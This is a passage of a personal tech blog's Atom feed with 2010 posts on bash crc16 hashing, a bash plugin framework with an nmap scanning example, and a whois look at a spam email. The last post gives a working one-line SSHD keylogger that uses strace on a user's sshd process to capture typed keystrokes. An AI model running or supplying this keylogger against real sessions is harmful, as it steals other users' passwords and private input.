0x76af 0x4434 0x55bd \&lt;br /&gt;  0xad4a 0xbcc3 0x8e58 0x9fd1 0xeb6e 0xfae7 0xc87c 0xd9f5 \&lt;br /&gt;  0x3183 0x200a 0x1291 0x0318 0x77a7 0x662e 0x54b5 0x453c \&lt;br /&gt;  0xbdcb 0xac42 0x9ed9 0x8f50 0xfbef 0xea66 0xd8fd 0xc974 \&lt;br /&gt;  0x4204 0x538d 0x6116 0x709f 0x0420 0x15a9 0x2732 0x36bb \&lt;br /&gt;  0xce4c 0xdfc5 0xed5e 0xfcd7 0x8868 0x99e1 0xab7a 0xbaf3 \&lt;br /&gt;  0x5285 0x430c 0x7197 0x601e 0x14a1 0x0528 0x37b3 0x263a \&lt;br /&gt;  0xdecd 0xcf44 0xfddf 0xec56 0x98e9 0x8960 0xbbfb 0xaa72 \&lt;br /&gt;  0x6306 0x728f 0x4014 0x519d 0x2522 0x34ab 0x0630 0x17b9 \&lt;br /&gt;  0xef4e 0xfec7 0xcc5c 0xddd5 0xa96a 0xb8e3 0x8a78 0x9bf1 \&lt;br /&gt;  0x7387 0x620e 0x5095 0x411c 0x35a3 0x242a 0x16b1 0x0738 \&lt;br /&gt;  0xffcf 0xee46 0xdcdd 0xcd54 0xb9eb 0xa862 0x9af9 0x8b70 \&lt;br /&gt;  0x8408 0x9581 0xa71a 0xb693 0xc22c 0xd3a5 0xe13e 0xf0b7 \&lt;br /&gt;  0x0840 0x19c9 0x2b52 0x3adb 0x4e64 0x5fed 0x6d76 0x7cff \&lt;br /&gt;  0x9489 0x8500 0xb79b 0xa612 0xd2ad 0xc324 0xf1bf 0xe036 \&lt;br /&gt;  0x18c1 0x0948 0x3bd3 0x2a5a 0x5ee5 0x4f6c 0x7df7 0x6c7e \&lt;br /&gt;  0xa50a 0xb483 0x8618 0x9791 0xe32e 0xf2a7 0xc03c 0xd1b5 \&lt;br /&gt;  0x2942 0x38cb 0x0a50 0x1bd9 0x6f66 0x7eef 0x4c74 0x5dfd \&lt;br /&gt;  0xb58b 0xa402 0x9699 0x8710 0xf3af 0xe226 0xd0bd 0xc134 \&lt;br /&gt;  0x39c3 0x284a 0x1ad1 0x0b58 0x7fe7 0x6e6e 0x5cf5 0x4d7c \&lt;br /&gt;  0xc60c 0xd785 0xe51e 0xf497 0x8028 0x91a1 0xa33a 0xb2b3 \&lt;br /&gt;  0x4a44 0x5bcd 0x6956 0x78df 0x0c60 0x1de9 0x2f72 0x3efb \&lt;br /&gt;  0xd68d 0xc704 0xf59f 0xe416 0x90a9 0x8120 0xb3bb 0xa232 \&lt;br /&gt;  0x5ac5 0x4b4c 0x79d7 0x685e 0x1ce1 0x0d68 0x3ff3 0x2e7a \&lt;br /&gt;  0xe70e 0xf687 0xc41c 0xd595 0xa12a 0xb0a3 0x8238 0x93b1 \&lt;br /&gt;  0x6b46 0x7acf 0x4854 0x59dd 0x2d62 0x3ceb 0x0e70 0x1ff9 \&lt;br /&gt;  0xf78f 0xe606 0xd49d 0xc514 0xb1ab 0xa022 0x92b9 0x8330 \&lt;br /&gt;  0x7bc7 0x6a4e 0x58d5 0x495c 0x3de3 0x2c6a 0x1ef1 0x0f78 )&lt;br /&gt;&lt;br /&gt;crc16()&lt;br /&gt;{&lt;br /&gt;    crc=0xFFFF&lt;br /&gt;    for char in $(echo &quot;$1&quot; | fold -w 1); do&lt;br /&gt;            byte=$(printf &quot;%d&quot; \&#39;$char)&lt;br /&gt;            (( crc= crc &gt;&gt; 8  ^ ${crc_table[($crc ^ $byte) &amp; 0x00FF]} ))&lt;br /&gt;    done&lt;br /&gt;    echo $crc&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In the above code the &lt;span style=&quot;font-style:italic;&quot;&gt;crc_table&lt;/span&gt; array would be a global variable.&lt;br /&gt;&lt;br /&gt;Unfortunately, even though that crc16 function is somewhat faster, a BPA script of say 10 plugins each with 10 commands would still take just under 5 seconds to run. After thinking about it for five seconds, the reason is that that for each command (there are 10 x 10 = 100 of them) it needs to generate a crc16 about 5 times to store various bits of information. Then, once all the plugin data is loaded, there are relatively few actual reads of the hash which means that the script spends much much longer generating crc16 when inserting data, most of which is never going to be read and even if it is read it is only read a couple of times.&lt;br /&gt;&lt;br /&gt;This is an extremely inefficient use of hashes, especially when written in something slow like bash.&lt;br /&gt;&lt;br /&gt;So, what are the options?&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt; Redesign the &lt;span style=&quot;font-style:italic;&quot;&gt;BPA.sh&lt;/span&gt; script to not load all the plugins (which sort of defeats the purpose)&lt;br /&gt;&lt;li&gt; Not use hashes in any form&lt;br /&gt;&lt;li&gt; Use other fake hash made from running two arrays in parallel (one for keys and one for values)&lt;br /&gt;&lt;li&gt; Use built-in associative array functionality of Bash 4.0 onwards&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;I think my cunning plan is to use a combination of the last two options. If the version of Bash is 4.0 or greater, then we can use the built-in functionality. If not, we degrade to the two array fake hashes.&lt;br /&gt;&lt;br /&gt;I will be updating &lt;span style=&quot;font-style:italic;&quot;&gt;BPA.sh&lt;/span&gt; in the coming weeks then I guess...</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/3095216264905509876/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2010/06/different-crc16-and-problem-with-hashes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/3095216264905509876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/3095216264905509876'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2010/06/different-crc16-and-problem-with-hashes.html' title='Different crc16 and the problem with hashes'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-8049700208375345435</id><published>2010-05-22T16:14:00.008+01:00</published><updated>2010-05-22T16:56:18.760+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="crc"/><category scheme="http://www.blogger.com/atom/ns#" term="crc16"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="plugin"/><category scheme="http://www.blogger.com/atom/ns#" term="scripting"/><title type='text'>Fun with bash: crc16, hashes and plugins</title><content type='html'>Today I released simple plugin architecture for bash scripts. &lt;br /&gt;&lt;br /&gt;To do what it does, it uses three interesting features of bash:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;The &lt;span style=&quot;font-style:italic;&quot;&gt;source&lt;/span&gt; command to read in the plugins&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Bash arrays turned into hashes using a crc16 function written in bash&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Bash functions within functions to limit the scope of plugin commands&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;This post describes those three interesting features.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Bash Plugin Architecture&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The project page is at: &lt;a href=&quot;http://code.google.com/p/b-p-a/&quot;&gt;http://code.google.com/p/b-p-a/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It allows you to create plugins like:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;user@host:~/bpa$ cat plugins/security/nmap.shp &lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;registerPlugin &quot;NMap&quot; &quot;nmap&quot; &quot;The mighty portscanner&quot;&lt;br /&gt;&lt;br /&gt;registerCommand &#39;SynScan&#39; &#39;syn&#39; &#39;TCP Syn scan of hosts&#39;&lt;br /&gt;registerCommand &#39;Ping&#39; &#39;ping&#39; &#39;Ping scan of hosts&#39;&lt;br /&gt;&lt;br /&gt;# Name of the plugin&lt;br /&gt;NMap()&lt;br /&gt;{&lt;br /&gt;        # Name of the command.&lt;br /&gt;        # Each command goes inside the Plugin() function&lt;br /&gt;        SynScan()&lt;br /&gt;        {&lt;br /&gt;                # Code for this command&lt;br /&gt;                hosts=$@&lt;br /&gt;                nmap -sS -P0 $hosts&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        Ping()&lt;br /&gt;        {&lt;br /&gt;                hosts=$@&lt;br /&gt;                nmap -v -sP $hosts &lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;which can be used like&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;$ sudo security.sh --nmap --syn -- 192.168.0.1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;For this to work, &lt;span style=&quot;font-style:italic;&quot;&gt;security.sh&lt;/span&gt; just needs to source the &lt;span style=&quot;font-style:italic;&quot;&gt;BPA.sh&lt;/span&gt; script and run a few commands (see the project page for details).&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Sourcing plugins&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This feature is probably the simplest, and part of the code of &lt;span style=&quot;font-style:italic;&quot;&gt;BPA.sh&lt;/span&gt; is below:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# Registers a new application.&lt;br /&gt;#&lt;br /&gt;# This must be the first thing called inside the application script.&lt;br /&gt;#&lt;br /&gt;# @param name&lt;br /&gt;#   Name of the application.&lt;br /&gt;#&lt;br /&gt;# @param debug&lt;br /&gt;#   (optional) If set to &#39;1&#39; debugging is enabled for the application. Defaults&lt;br /&gt;#   to &#39;0&#39;.&lt;br /&gt;#&lt;br /&gt;# @param plugins&lt;br /&gt;#   (optional) Sets the plugins directory for the application. Defaults to&lt;br /&gt;#   &#39;./plugins&#39; inside the directory of the application script.&lt;br /&gt;#&lt;br /&gt;# @return&lt;br /&gt;#   Does not return a value&lt;br /&gt;#&lt;br /&gt;# Example:&lt;br /&gt;# @code&lt;br /&gt;#   new &#39;MyApp&#39; 1 &#39;/var/lib/plugins/myapp&#39;&lt;br /&gt;# &lt;br /&gt;new() {&lt;br /&gt;        sAppName=&quot;$1&quot;&lt;br /&gt;        bDebug=${2:-&quot;0&quot;}&lt;br /&gt;        sAppPluginsDir=${3:-&quot;./plugins&quot;}&lt;br /&gt;&lt;br /&gt;        doDebug=$bDebug&lt;br /&gt;&lt;br /&gt;        debug &quot;New application $sAppName&quot;&lt;br /&gt;        for plugin in $(ls ${sAppPluginsDir}/*.shp); do&lt;br /&gt;                debug &quot;Sourcing $plugin&quot;&lt;br /&gt;                source &quot;$plugin&quot;&lt;br /&gt;        done&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Basically, when the application script &lt;span style=&quot;font-style:italic;&quot;&gt;security.sh&lt;/span&gt; sources the main script &lt;span style=&quot;font-style:italic;&quot;&gt;BPA.sh&lt;/span&gt; and calls the &lt;span style=&quot;font-style:italic;&quot;&gt;new&lt;/span&gt; function, looks inside a plugins directory for all files ending in &lt;span style=&quot;font-style:italic;&quot;&gt;.shp&lt;/span&gt; (shell plugin). For each file it finds it calls the &lt;span style=&quot;font-style:italic;&quot;&gt;source&lt;/span&gt; command.&lt;br /&gt;&lt;br /&gt;Now, when you source a plugin, you run it&#39;s &lt;span style=&quot;font-style:italic;&quot;&gt;registerPlugin&lt;/span&gt; function and all of it&#39;s &lt;span style=&quot;font-style:italic;&quot;&gt;registerCommand&lt;/span&gt; functions which in turn uses the hash functions as described next.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Bash hashes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The &lt;span style=&quot;font-style:italic;&quot;&gt;registerPlugin&lt;/span&gt; function looks something like:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# Registers a plugin for the application.&lt;br /&gt;#&lt;br /&gt;# This should the first thing a plugin (.shp) script does.&lt;br /&gt;#&lt;br /&gt;# @param name&lt;br /&gt;#   The name of the plugin.&lt;br /&gt;#&lt;br /&gt;# @param switch&lt;br /&gt;#   The command-line switch used to access the plugin, using --switch.&lt;br /&gt;#&lt;br /&gt;# @param description&lt;br /&gt;#   A description of the plugin. This is displayed when the --help switch&lt;br /&gt;#   is used.&lt;br /&gt;#&lt;br /&gt;# @return&lt;br /&gt;#   Does not return a value&lt;br /&gt;#&lt;br /&gt;# Example&lt;br /&gt;# @code&lt;br /&gt;#   registerPlugin &#39;MyPlugin&#39; &#39;my&#39; &#39;An example plugin&#39;&lt;br /&gt;#&lt;br /&gt;registerPlugin()&lt;br /&gt;{&lt;br /&gt;        sPluginName=$1&lt;br /&gt;        sPluginSwitch=$2&lt;br /&gt;        sPluginDescription=$3&lt;br /&gt;&lt;br /&gt;        debug &quot;Registering $sPluginName&quot;&lt;br /&gt;&lt;br /&gt;        hash_set $sPluginName name &quot;$sPluginName&quot;&lt;br /&gt;        hash_set $sPluginName description &quot;$sPluginDescription&quot;&lt;br /&gt;&lt;br /&gt;        hash_set hPlugins &quot;$sPluginSwitch&quot; &quot;$sPluginName&quot;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The interesting thing in that function is the use of &lt;span style=&quot;font-style:italic;&quot;&gt;hash_set&lt;/span&gt;, which is:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# Creates hash with given name and sets key/value pair.&lt;br /&gt;#&lt;br /&gt;# @param name&lt;br /&gt;#   Name of the hash.&lt;br /&gt;#&lt;br /&gt;# @param key&lt;br /&gt;#   Hash key value.&lt;br /&gt;#&lt;br /&gt;# @param value&lt;br /&gt;#   Hash value for key.&lt;br /&gt;#&lt;br /&gt;# @return&lt;br /&gt;#   Does not return a value.&lt;br /&gt;#&lt;br /&gt;hash_set()&lt;br /&gt;{&lt;br /&gt;        name=$1&lt;br /&gt;        key=$2&lt;br /&gt;        value=$3&lt;br /&gt;        lookup=&quot;${name}_keys&quot;&lt;br /&gt;&lt;br /&gt;        id=$(crc16 $key)&lt;br /&gt;        eval $name\[\$id\]=\&quot;\$value\&quot;&lt;br /&gt;        array_push $lookup $key&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This function takes a name for the hash as its first argument, then a key followed by the value for that key. It then uses the &lt;span style=&quot;font-style:italic;&quot;&gt;crc16&lt;/span&gt; function (shown below) to generate a numeric index for the actual bash array. It then uses the bash &lt;span style=&quot;font-style:italic;&quot;&gt;eval&lt;/span&gt; command to create a real array from the hash name that was supplied. Finally, it uses a simple &lt;span style=&quot;font-style:italic;&quot;&gt;array_push&lt;/span&gt; function to keep track of the keys in case we want to iterate over them.&lt;br /&gt;&lt;br /&gt;Quite simple, and definitely overkill ;) It would be possible to just create two parallel arrays to track the key/value pairs, but this is more fun.&lt;br /&gt;&lt;br /&gt;The crc16 function looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# Generates a crc16 value for the given string.&lt;br /&gt;#&lt;br /&gt;# @param string&lt;br /&gt;#   String to be crc16&#39;d.&lt;br /&gt;#&lt;br /&gt;# @return&lt;br /&gt;#   Decimal crc16 value of string&lt;br /&gt;#&lt;br /&gt;crc16()&lt;br /&gt;{&lt;br /&gt;        # This could probably be more efficient...&lt;br /&gt;        string=$1&lt;br /&gt;        aString=($(echo $string | fold -w 1))&lt;br /&gt;        cnt=${#aString[@]}&lt;br /&gt;        crcPolyNom=0x8408&lt;br /&gt;        crcPreset=0xFFFF&lt;br /&gt;        crc=$crcPreset&lt;br /&gt;        &lt;br /&gt;        for ((x=0;x&lt;$cnt;x++)); do&lt;br /&gt;                char=${aString[$x]}&lt;br /&gt;                byte=$(printf &quot;%d&quot; \&#39;$char)&lt;br /&gt;                for ((i=0;i&lt;8;i++)); do&lt;br /&gt;                        (( charLsb = $byte &amp; 0x0001 ))&lt;br /&gt;                        (( crcLsb = $crc &amp; 0x0001 ))&lt;br /&gt;                        (( doAdd = $charLsb ^ $crcLsb ))&lt;br /&gt;        &lt;br /&gt;                        (( byte = $byte &gt;&gt; 1 ))&lt;br /&gt;                        (( crc = $crc &gt;&gt; 1))&lt;br /&gt;        &lt;br /&gt;                        if [ &quot;$doAdd&quot; -eq &quot;1&quot; ]; then&lt;br /&gt;                                (( crc = $crc ^ $crcPolyNom ))&lt;br /&gt;                        fi&lt;br /&gt;                done&lt;br /&gt;        done&lt;br /&gt;        echo $crc&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;To get a value from the array, we just have to generate the crc16 for the key:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# Gets the value for key from the given hash.&lt;br /&gt;#&lt;br /&gt;# @param name&lt;br /&gt;#   Name of the hash.&lt;br /&gt;#&lt;br /&gt;# @param key&lt;br /&gt;#   The key value.&lt;br /&gt;#&lt;br /&gt;# @return&lt;br /&gt;#   The value associated with the key&lt;br /&gt;#&lt;br /&gt;hash_get()&lt;br /&gt;{&lt;br /&gt;        name=$1&lt;br /&gt;        key=$2&lt;br /&gt;&lt;br /&gt;        id=$(crc16 $key)&lt;br /&gt;        eval echo \$\{$name\[\$id\]\}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So yeah, this is pretty slow... but also pretty cool.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight:bold;&quot;&gt;Functions within functions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can declare a function within a function. For example:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;NMap()&lt;br /&gt;{&lt;br /&gt;        # Name of the command.&lt;br /&gt;        # Each command goes inside the Plugin() function&lt;br /&gt;        SynScan()&lt;br /&gt;        {&lt;br /&gt;                # Code for this command&lt;br /&gt;                hosts=$@&lt;br /&gt;                nmap -sS -P0 $hosts&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In order to run the &lt;span style=&quot;font-style:italic;&quot;&gt;SynScan&lt;/span&gt; function, you must first run the &lt;span style=&quot;font-style:italic;&quot;&gt;NMap&lt;/span&gt; function. At first this might not seem very useful. But for a plugin system it is, as it allows multiple plugins to have the same commands, without any clashing.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style:italic;&quot;&gt;BPA.sh&lt;/span&gt; calls the plugin function and command in the &lt;span style=&quot;font-style:italic;&quot;&gt;run&lt;/span&gt; function:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;#&lt;br /&gt;# Runs the actual application.&lt;br /&gt;#&lt;br /&gt;# @return&lt;br /&gt;#   Does not return a value.&lt;br /&gt;#&lt;br /&gt;# Example:&lt;br /&gt;# @code&lt;br /&gt;#   run&lt;br /&gt;#&lt;br /&gt;run() {&lt;br /&gt;        debug &quot;Running $sAppName&quot;&lt;br /&gt;        parse $aAppArgs&lt;br /&gt;        debug &quot;Plugin: $sSelectedPlugin&quot;&lt;br /&gt;        debug &quot;Command: $sSelectedCommand&quot;&lt;br /&gt;        $sSelectedPlugin&lt;br /&gt;        $sSelectedCommand $aCmdArgs&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So we could happily have another plugin, perhaps like:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;OtherCoolPortScanner()&lt;br /&gt;{&lt;br /&gt;        # Name of the command.&lt;br /&gt;        # Each command goes inside the Plugin() function&lt;br /&gt;        SynScan()&lt;br /&gt;        {&lt;br /&gt;                # Code for this command&lt;br /&gt;                hosts=$@&lt;br /&gt;                othercoolportscanner -s $hosts&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;...without worrying about mixups.</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/8049700208375345435/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2010/05/fun-with-bash-crc16-hashes-and-plugins.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8049700208375345435'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/8049700208375345435'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2010/05/fun-with-bash-crc16-hashes-and-plugins.html' title='Fun with bash: crc16, hashes and plugins'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-3237018497851454608</id><published>2010-05-17T18:01:00.005+01:00</published><updated>2010-05-22T16:55:50.145+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adobe"/><category scheme="http://www.blogger.com/atom/ns#" term="email"/><category scheme="http://www.blogger.com/atom/ns#" term="pdf"/><category scheme="http://www.blogger.com/atom/ns#" term="spam"/><title type='text'>sp@m witt no spalling mistokes</title><content type='html'>Just received the following email:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:text&quot;&gt;&lt;br /&gt;from Adobe &lt;newsletter@download-adobe-pdf.com&gt;&lt;br /&gt;reply-to newsletter@download-adobe-pdf.com&lt;br /&gt;to me@gmail.com&lt;br /&gt;date 17 May 2010 16:40&lt;br /&gt;subject Download New Adobe PDF Reader For Windows&lt;br /&gt;mailed-by mmmail.co.uk&lt;br /&gt; &lt;br /&gt;hide details 16:40 (1 hour ago)&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;PDF Reader for Windows - Compatible with All Windows Platforms&lt;br /&gt;&lt;br /&gt;Get the new and improved 2010 version.&lt;br /&gt;The ultimate PDF software pack to open, read and share PDF files online.&lt;br /&gt;&lt;br /&gt;Download New PDF reader here:&lt;br /&gt;&lt;br /&gt;http://www.download-adobe-pdf.com/&lt;br /&gt;&lt;br /&gt;New Features in PDF Reader:&lt;br /&gt;&lt;br /&gt;- Search, open &amp; share PDF files online&lt;br /&gt;- 50% faster startup then previous versions&lt;br /&gt;- Search &amp; save online Internet content&lt;br /&gt;- NEW! Improved user interface&lt;br /&gt;&lt;br /&gt;Also receive the award winning OfficeSuite absolutely free.&lt;br /&gt;&lt;br /&gt;New version available :&lt;br /&gt;&lt;br /&gt;http://www.download-adobe-pdf.com/&lt;br /&gt;&lt;br /&gt;Since the 90&#39;s, PDF has become the standard file format for document exchange. - Adobe&lt;br /&gt;&lt;br /&gt;Thank you,&lt;br /&gt;&lt;br /&gt;Adobe Reader Support&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Click here to unsubscribe &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Not only did this get through the usual spam filters Google so wonderfully provides, but it actually looks quite professional =/&lt;br /&gt;&lt;br /&gt;A quick look at the whois output...&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:text&quot;&gt;&lt;br /&gt;Domain name:             DOWNLOAD-ADOBE-PDF.COM&lt;br /&gt;Name Server:             ns1.download-adobe-pdf.com 67.225.133.235&lt;br /&gt;Name Server:             ns2.download-adobe-pdf.com 67.225.133.235&lt;br /&gt;Creation Date:           2010.05.17&lt;br /&gt;&lt;br /&gt;Status:                  DELEGATED&lt;br /&gt;&lt;br /&gt;Registrant ID:           UALWS2Z-RU&lt;br /&gt;Registrant Name:         Tommy Anderson&lt;br /&gt;Registrant Organization: Tommy Anderson&lt;br /&gt;Registrant Street1:      273 Parkway&lt;br /&gt;Registrant City:         Miami&lt;br /&gt;Registrant State:        FL&lt;br /&gt;Registrant Postal Code:  33402&lt;br /&gt;Registrant Country:      US&lt;br /&gt;&lt;br /&gt;Administrative, Technical Contact&lt;br /&gt;Contact ID:              UALWS2Z-RU&lt;br /&gt;Contact Name:            Tommy Anderson&lt;br /&gt;Contact Organization:    Tommy Anderson&lt;br /&gt;Contact Street1:         273 Parkway&lt;br /&gt;Contact City:            Miami&lt;br /&gt;Contact State:           FL&lt;br /&gt;Contact Postal Code:     33402&lt;br /&gt;Contact Country:         US&lt;br /&gt;Contact Phone:           +1 504 3442930&lt;br /&gt;Contact E-mail:          tommy3849@hotmail.com&lt;br /&gt;&lt;br /&gt;Registrar:               Regional Network Information Center, JSC dba RU-CENTER&lt;br /&gt;&lt;br /&gt;Last updated on 2010.05.17 20:38:33 MSK/MSD&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;and suddenly it doesn&#39;t look so professional.&lt;br /&gt;&lt;br /&gt;I haven&#39;t actually tried visiting the site yet, I don&#39;t have any systems I can happily pwn.&lt;br /&gt;&lt;br /&gt;The unsubscribe link goes to:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:text&quot;&gt;&lt;br /&gt;http://www.mailingm.co.uk/3/unsubscribe.php?M=2723658&amp;N=2435&amp;=4&amp;C=fbe0b28cf0f58710c5b4dea8a6e2ca68&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;A quick Google search:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:text&quot;&gt;&lt;br /&gt;Mailingm.co.uk  - Online Marketing Services Provider | Visit ...&lt;br /&gt;This company specializes on marketing services through e-mail giving their clients the possibility of reaching a wider and international audience.&lt;br /&gt;www.killerstartups.com › Site Reviews - Cached - Similar&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In conclusion, this might just be some dodgy marketing for an Adobe reseller, but I don&#39;t think I&#39;ll take my chances.</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/3237018497851454608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2010/05/spm-witt-no-spalling-mistokes.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/3237018497851454608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/3237018497851454608'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2010/05/spm-witt-no-spalling-mistokes.html' title='sp@m witt no spalling mistokes'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-3431902975506933466</id><published>2010-01-13T23:10:00.007+00:00</published><updated>2012-01-02T10:21:47.733+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="key logger"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="root"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="sshd"/><title type='text'>A basic SSHD keylogger</title><content type='html'>&lt;pre class=&quot;brush:bash&quot;&gt;&lt;br /&gt;strace -p $(pgrep -n -u user sshd) 2&gt;&amp;1 | perl -ne &#39;$_ =~ /^write\(\d+, &quot;([^&quot;]+)&quot;\.\.\., 1\)/ &amp;&amp; print time().&quot; &quot;.$1.&quot;\n&quot;;&#39;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Speaks for itself really. Doesn&#39;t catch &#39;up&#39; and &#39;down&#39; keys, but does things like new line. CBA to investigate - it served its purpose.</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/3431902975506933466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2010/01/basic-sshd-keylogger.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/3431902975506933466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/3431902975506933466'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2010/01/basic-sshd-keylogger.html' title='A basic SSHD keylogger'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>